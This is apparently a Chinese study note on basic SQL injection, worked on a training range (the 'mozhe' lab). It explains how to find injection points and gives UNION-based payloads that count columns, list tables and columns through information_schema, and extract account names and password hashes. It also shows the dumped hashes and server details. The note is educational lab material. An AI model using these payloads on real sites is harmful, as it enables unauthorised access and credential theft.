WEB漏洞—简要SQL注入

Zx770 / 2023-05-22 / 原文

前言:在本系列课程学习中,SQL注入漏洞将是重点部分,其中SQL注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,需要按部就班的学习,才能学会相关SQL注入的核心。同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。

 

SQL注入安全测试中危害:危害数据和网站权限

 大部分sql注入都是直接去对数据库里的数据进行操作,包括查询,更新,删除

某一些sql注入的时候,通过漏洞可以直接进行后门写入,有一些能获取权限,一些不能。

 

如何判断注入点

老办法:

id=1 and 1=1 页面正常

id=1 and 1=2 页面错误

可能存在注入点

新方法

id=1ahjdwo 页面错误

可能存在注入点

id=1asdjalj 页面正常

不存在注入点

若出现404错误或者跳转,说明网站对输入的东西有检测,这种情况大部分是没有漏洞的

 

数据库结构

数据库A

  表名

    列名

      数据

要获取数据,必须按部就班,从表名>列名>数据一步一步来,不能直接获取到数据

 

必要知识点

1.  在MySQL 5.0以上版本中,mysql存在一个自带的数据库名为information_schema,它是一个存储所有数据库名,表名,列名的数据库,也相当于可以通过它查询获取制定数据库下面的表名或者列名信息。

2.   数据库中符号“.”代表下一级,如xiaodi.user表示xiaodi下的user表名。

information_schema.tables  记录所有表名信息的表

information_schema.columns 记录所有列名信息的表

table_name 表名

column_name 列名

table_schema 数据库名

 

查询指定数据库名mozhe_Discuz_StormGroup下的表名

124.70.22.208:41567/new_list.php?id=1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

查询到表名StormGroup_member

查询指定表名StormGroup_member下的列名

124.70.22.208:41567/new_list.php?id=1 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

查询到列名id,name,password,status

从表StormGroup_member中查询name,password下的数据

124.70.22.208:41567/new_list.php?id=1 and 1=2 union select 1,name,password,4 from StormGroup_member

查询到账号和密码

mozhe   356f589a7df439f6f744ff19bb8092c0

猜解多个数据采用limit x,1 变动猜解 x是变量

mozhe    e53f4512ea73eb2e23462f8e155245df

 

判断注入

猜解列名数量(字段数) order by x 错误与正确的正常值

http://124.70.22.208:41567/new_list.php?id=1 order by 4 

猜解准备:

http://124.70.22.208:41567/new_list.php?id=1 union select 1,2,3,4

http://124.70.22.208:41567/new_list.php?id=1 and 1=2 union select 1,2,3,4

信息收集:(在mozhe靶场上实验)

数据库版本:version()     5.7.22-0ubuntu0.16.04.1

数据库名:database()      mozhe_Discuz_StormGroup

数据库用户:user()      root@localhost

操作系统:@@version_compile_os      Linux